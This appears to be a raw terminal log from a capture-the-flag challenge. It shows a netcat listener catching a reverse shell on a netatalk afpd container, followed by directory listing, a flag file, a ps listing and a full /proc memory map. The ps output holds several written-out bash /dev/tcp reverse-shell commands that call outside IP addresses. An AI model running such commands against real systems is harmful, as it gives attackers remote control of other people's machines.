230
231
232
233
234
235
236
237
238
root@iZ2ze56h5vena39qt3om1nZ:~# nc -lvnp 7777
Listening on 0.0.0.0 7777
Connection received on 139.162.123.119 51450
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
netatalk@08e1e5af1e65:/$ ls
ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
netatalk@08e1e5af1e65:/$ cd home
cd home
netatalk@08e1e5af1e65:/home$ ls
ls
netatalk
netatalk@08e1e5af1e65:/home$ cd netatalk
cd netatalk
netatalk@08e1e5af1e65:/home/netatalk$ ls
ls
afp.conf
afpd
flag
libatalk.so.18
netatalk@08e1e5af1e65:/home/netatalk$ ps aux
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4628 772 ? Ss 2023 0:00 /bin/sh -c su netatalk -c "LD_LIBRARY_PATH=/home/netatalk /home/netatalk/afpd -d -F /home/netatalk/afp.conf"
root 6 0.0 0.0 49272 3004 ? S 2023 0:00 su netatalk -c LD_LIBRARY_PATH=/home/netatalk /home/netatalk/afpd -d -F /home/netatalk/afp.conf
netatalk 7 0.0 0.0 4628 876 ? Ss 2023 0:00 sh -c LD_LIBRARY_PATH=/home/netatalk /home/netatalk/afpd -d -F /home/netatalk/afp.conf
netatalk 8 0.0 0.1 89272 6396 ? S 2023 82:40 /home/netatalk/afpd -d -F /home/netatalk/afp.conf
netatalk 7684 0.0 0.0 4628 832 ? S Jun15 0:00 sh -c bash -c 'bash -i >& /dev/tcp/175.119.216.135/7777 0>&1'
netatalk 7685 0.0 0.0 18376 3120 ? S Jun15 0:00 bash -c bash -i >& /dev/tcp/175.119.216.135/7777 0>&1
netatalk 7686 0.0 0.0 18508 3440 ? S Jun15 0:00 bash -i
netatalk 11307 0.0 0.0 102592 2784 ? S 07:53 0:00 /home/netatalk/afpd -d -F /home/netatalk/afp.conf
netatalk 11308 0.0 0.0 4628 920 ? S 07:53 0:00 sh -c bash -c "bash -i>& /dev/tcp/39.107.229.157/7777 0<&1"
netatalk 11309 0.0 0.0 18376 3152 ? S 07:53 0:00 bash -c bash -i>& /dev/tcp/39.107.229.157/7777 0<&1
netatalk 11310 0.0 0.0 18508 3516 ? S 07:53 0:00 bash -i
netatalk 11546 0.0 0.0 4628 924 ? S 07:56 0:00 sh -c bash -c "bash -i>& /dev/tcp/39.107.229.157/7777 0<&1"
netatalk 11547 0.0 0.0 18376 3212 ? S 07:56 0:00 bash -c bash -i>& /dev/tcp/39.107.229.157/7777 0<&1
netatalk 11548 0.0 0.0 18508 3456 ? S 07:56 0:00 bash -i
netatalk 11674 0.0 0.0 34400 2924 ? R 07:57 0:00 ps aux
netatalk@08e1e5af1e65:/home/netatalk$ cat /proc/11307/maps
cat /proc/11307/maps
55d35bfb0000-55d35bff2000 r-xp 00000000 08:00 348786 /home/netatalk/afpd
55d35c1f1000-55d35c1f3000 r--p 00041000 08:00 348786 /home/netatalk/afpd
55d35c1f3000-55d35c1f6000 rw-p 00043000 08:00 348786 /home/netatalk/afpd
55d35c1f6000-55d35c215000 rw-p 00000000 00:00 0
55d35d5db000-55d35d649000 rw-p 00000000 00:00 0 [heap]
7f6664243000-7f6664e44000 rw-p 00000000 00:00 0
7f6664e44000-7f6664e4f000 r-xp 00000000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so
7f6664e4f000-7f666504e000 ---p 0000b000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so
7f666504e000-7f666504f000 r--p 0000a000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so
7f666504f000-7f6665050000 rw-p 0000b000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so
7f6665050000-7f6665056000 rw-p 00000000 00:00 0
7f6665056000-7f66651f3000 r-xp 00000000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so
7f66651f3000-7f66653f2000 ---p 0019d000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so
7f66653f2000-7f66653f3000 r--p 0019c000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so
7f66653f3000-7f66653f4000 rw-p 0019d000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so
7f66653f4000-7f66653fb000 r-xp 00000000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7f66653fb000-7f66655fa000 ---p 00007000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7f66655fa000-7f66655fb000 r--p 00006000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7f66655fb000-7f66655fc000 rw-p 00007000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7f66655fc000-7f6665605000 r-xp 00000000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so
7f6665605000-7f6665804000 ---p 00009000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so
7f6665804000-7f6665805000 r--p 00008000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so
7f6665805000-7f6665806000 rw-p 00009000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so
7f6665806000-7f6665834000 rw-p 00000000 00:00 0
7f6665834000-7f6665938000 r-xp 00000000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f6665938000-7f6665b37000 ---p 00104000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f6665b37000-7f6665b3a000 r--p 00103000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f6665b3a000-7f6665b3c000 rw-p 00106000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f6665b3c000-7f6665b3d000 rw-p 00000000 00:00 0
7f6665b3d000-7f6665b83000 r-xp 00000000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7f6665b83000-7f6665d82000 ---p 00046000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7f6665d82000-7f6665d85000 r--p 00045000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7f6665d85000-7f6665d86000 rw-p 00048000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7f6665d86000-7f6665d87000 rw-p 00000000 00:00 0
7f6665d87000-7f6665d95000 r-xp 00000000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7f6665d95000-7f6665f94000 ---p 0000e000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7f6665f94000-7f6665f95000 r--p 0000d000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7f6665f95000-7f6665f96000 rw-p 0000e000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7f6665f96000-7f6665fbe000 r-xp 00000000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7f6665fbe000-7f66661bd000 ---p 00028000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7f66661bd000-7f66661be000 r--p 00027000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7f66661be000-7f66661bf000 rw-p 00028000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7f66661bf000-7f666623e000 r-xp 00000000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7f666623e000-7f666643e000 ---p 0007f000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7f666643e000-7f666643f000 r--p 0007f000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7f666643f000-7f6666440000 rw-p 00080000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7f6666440000-7f6666473000 r-xp 00000000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7f6666473000-7f6666672000 ---p 00033000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7f6666672000-7f6666673000 r--p 00032000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7f6666673000-7f6666674000 rw-p 00033000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7f6666674000-7f66666a8000 r-xp 00000000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7f66666a8000-7f66668a7000 ---p 00034000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7f66668a7000-7f66668a9000 r--p 00033000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7f66668a9000-7f66668aa000 rw-p 00035000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7f66668aa000-7f66668bb000 r-xp 00000000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7f66668bb000-7f6666abb000 ---p 00011000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7f6666abb000-7f6666abc000 r--p 00011000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7f6666abc000-7f6666abd000 rw-p 00012000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7f6666abd000-7f6666c37000 r-xp 00000000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7f6666c37000-7f6666e37000 ---p 0017a000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7f6666e37000-7f6666e3a000 r--p 0017a000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7f6666e3a000-7f6666e3b000 rw-p 0017d000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7f6666e3b000-7f6666e57000 r-xp 00000000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7f6666e57000-7f6667056000 ---p 0001c000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7f6667056000-7f6667057000 r--p 0001b000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7f6667057000-7f6667058000 rw-p 0001c000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7f6667058000-7f6667172000 r-xp 00000000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7f6667172000-7f6667372000 ---p 0011a000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7f6667372000-7f666737c000 r--p 0011a000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7f666737c000-7f6667386000 rw-p 00124000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7f6667386000-7f6667387000 rw-p 00000000 00:00 0
7f6667387000-7f66673a3000 r-xp 00000000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11
7f66673a3000-7f66675a2000 ---p 0001c000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11
7f66675a2000-7f66675a3000 r--p 0001b000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11
7f66675a3000-7f66675a4000 rw-p 0001c000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11
7f66675a4000-7f66675b9000 r-xp 00000000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7f66675b9000-7f66677b8000 ---p 00015000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7f66677b8000-7f66677b9000 r--p 00014000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7f66677b9000-7f66677ba000 rw-p 00015000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7f66677ba000-7f66677ed000 r-xp 00000000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7f66677ed000-7f66679ec000 ---p 00033000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7f66679ec000-7f66679ee000 r--p 00032000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7f66679ee000-7f66679ef000 rw-p 00034000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7f66679ef000-7f66679f0000 rw-p 00000000 00:00 0
7f66679f0000-7f66679f3000 r-xp 00000000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1
7f66679f3000-7f6667bf2000 ---p 00003000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1
7f6667bf2000-7f6667bf3000 r--p 00002000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1
7f6667bf3000-7f6667bf4000 rw-p 00003000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1
7f6667bf4000-7f6667c92000 r-xp 00000000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7f6667c92000-7f6667e92000 ---p 0009e000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7f6667e92000-7f6667e93000 r--p 0009e000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7f6667e93000-7f6667e96000 rw-p 0009f000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7f6667e96000-7f6667f1d000 r-xp 00000000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7f6667f1d000-7f666811c000 ---p 00087000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7f666811c000-7f6668120000 r--p 00086000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7f6668120000-7f6668122000 rw-p 0008a000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7f6668122000-7f6668123000 rw-p 00000000 00:00 0
7f6668123000-7f666812b000 r-xp 00000000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7f666812b000-7f666832a000 ---p 00008000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7f666832a000-7f666832b000 r--p 00007000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7f666832b000-7f666832c000 rw-p 00008000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7f666832c000-7f6668483000 r-xp 00000000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7f6668483000-7f6668683000 ---p 00157000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7f6668683000-7f666868f000 r--p 00157000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7f666868f000-7f6668690000 rw-p 00163000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7f6668690000-7f6668691000 rw-p 00000000 00:00 0
7f6668691000-7f66686ce000 r-xp 00000000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7f66686ce000-7f66688ce000 ---p 0003d000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7f66688ce000-7f66688d0000 r--p 0003d000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7f66688d0000-7f66688d2000 rw-p 0003f000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7f66688d2000-7f66688eb000 r-xp 00000000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7f66688eb000-7f6668aeb000 ---p 00019000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7f6668aeb000-7f6668aec000 r--p 00019000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7f6668aec000-7f6668aed000 rw-p 0001a000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7f6668aed000-7f6668b04000 r-xp 00000000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so
7f6668b04000-7f6668d04000 ---p 00017000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so
7f6668d04000-7f6668d05000 r--p 00017000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so
7f6668d05000-7f6668d06000 rw-p 00018000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so
7f6668d06000-7f6668d08000 rw-p 00000000 00:00 0
7f6668d08000-7f6668d15000 r-xp 00000000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7f6668d15000-7f6668f14000 ---p 0000d000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7f6668f14000-7f6668f15000 r--p 0000c000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7f6668f15000-7f6668f16000 rw-p 0000d000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7f6668f16000-7f6668f2d000 r-xp 00000000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so
7f6668f2d000-7f666912c000 ---p 00017000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so
7f666912c000-7f666912d000 r--p 00016000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so
7f666912d000-7f666912e000 rw-p 00017000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so
7f666912e000-7f6669130000 rw-p 00000000 00:00 0
7f6669130000-7f666917e000 r-xp 00000000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7f666917e000-7f666937d000 ---p 0004e000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7f666937d000-7f666937f000 r--p 0004d000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7f666937f000-7f6669380000 rw-p 0004f000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7f6669380000-7f6669382000 rw-p 00000000 00:00 0
7f6669382000-7f6669386000 r-xp 00000000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0
7f6669386000-7f6669585000 ---p 00004000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0
7f6669585000-7f6669586000 r--p 00003000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0
7f6669586000-7f6669587000 rw-p 00004000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0
7f6669587000-7f666958f000 r-xp 00000000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7f666958f000-7f666978f000 ---p 00008000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7f666978f000-7f6669790000 r--p 00008000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7f6669790000-7f6669791000 rw-p 00009000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7f6669791000-7f6669978000 r-xp 00000000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so
7f6669978000-7f6669b78000 ---p 001e7000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so
7f6669b78000-7f6669b7c000 r--p 001e7000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so
7f6669b7c000-7f6669b7e000 rw-p 001eb000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so
7f6669b7e000-7f6669b82000 rw-p 00000000 00:00 0
7f6669b82000-7f6669b9c000 r-xp 00000000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so
7f6669b9c000-7f6669d9b000 ---p 0001a000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so
7f6669d9b000-7f6669d9c000 r--p 00019000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so
7f6669d9c000-7f6669d9d000 rw-p 0001a000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so
7f6669d9d000-7f6669da1000 rw-p 00000000 00:00 0
7f6669da1000-7f6669da8000 r-xp 00000000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0
7f6669da8000-7f6669fa7000 ---p 00007000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0
7f6669fa7000-7f6669fa8000 r--p 00006000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0
7f6669fa8000-7f6669fa9000 rw-p 00007000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0
7f6669fa9000-7f6669fac000 r-xp 00000000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so
7f6669fac000-7f666a1ab000 ---p 00003000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so
7f666a1ab000-7f666a1ac000 r--p 00002000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so
7f666a1ac000-7f666a1ad000 rw-p 00003000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so
7f666a1ad000-7f666a22b000 r-xp 00000000 08:00 348787 /home/netatalk/libatalk.so.18
7f666a22b000-7f666a42a000 ---p 0007e000 08:00 348787 /home/netatalk/libatalk.so.18
7f666a42a000-7f666a42b000 r--p 0007d000 08:00 348787 /home/netatalk/libatalk.so.18
7f666a42b000-7f666a42d000 rw-p 0007e000 08:00 348787 /home/netatalk/libatalk.so.18
7f666a42d000-7f666a43b000 rw-p 00000000 00:00 0
7f666a43b000-7f666a462000 r-xp 00000000 08:00 2534580 /lib/x86_64-linux-gnu/ld-2.27.so
7f666a54b000-7f666a64c000 rw-p 00000000 00:00 0
7f666a64c000-7f666a65d000 rw-p 00000000 00:00 0
7f666a660000-7f666a662000 rw-p 00000000 00:00 0
7f666a662000-7f666a663000 r--p 00027000 08:00 2534580 /lib/x86_64-linux-gnu/ld-2.27.so
7f666a663000-7f666a664000 rw-p 00028000 08:00 2534580 /lib/x86_64-linux-gnu/ld-2.27.so
7f666a664000-7f666a665000 rw-p 00000000 00:00 0
7ffc2810d000-7ffc2812e000 rw-p 00000000 00:00 0 [stack]
7ffc281ba000-7ffc281bc000 r--p 00000000 00:00 0 [vvar]
7ffc281bc000-7ffc281be000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
netatalk@08e1e5af1e65:/home/netatalk$ exit
exit
exit
root@iZ2ze56h5vena39qt3om1nZ:~#